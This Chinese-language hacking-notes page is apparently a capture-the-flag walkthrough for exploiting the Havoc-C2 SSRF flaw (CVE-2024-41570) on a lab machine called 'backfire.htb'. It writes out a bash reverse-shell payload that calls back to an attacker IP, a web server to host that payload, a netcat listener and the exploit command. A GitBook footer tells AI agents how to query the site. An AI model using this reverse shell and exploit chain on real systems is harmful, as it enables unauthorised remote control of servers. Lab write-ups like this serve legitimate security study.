> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/havoc-c2-40056.md).

# Havoc-C2 - 40056

{% hint style="info" %}
Havoc-C2 是一个开源的命令与控制（C2）工具，旨在用于渗透测试和攻击模拟。它允许网络安全专业人员在受控环境中管理植入到已受损系统中的恶意代理、规划攻击并外传数据，以评估 IT 基础设施的安全性。
{% endhint %}

<figure><img src="/files/92798347d85c36b70eeb6bff9b0633fc24691334" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

要利用 Havoc 中的 SSRF 漏洞，请创建一个 `payload.sh` 包含以下代码的文件：

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

搭建一个 Web 服务器来托管该载荷：

```bash
python3 -m http.server 80
```

使用 netcat 监听 4444 端口以接收反向连接：

```bash
nc -nlvp 4444
```

使用所需的目标信息修改利用脚本，然后运行它：

<figure><img src="/files/4de0bad9a3bbf4d6e5606f24f5d41832a32bafc9" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**用户访问：**

该 **ilya** 用户可以用来连接到目标机器。

<figure><img src="/files/20fe9189586007c82a8258fc927034895d5a5e09" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/havoc-c2-40056.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
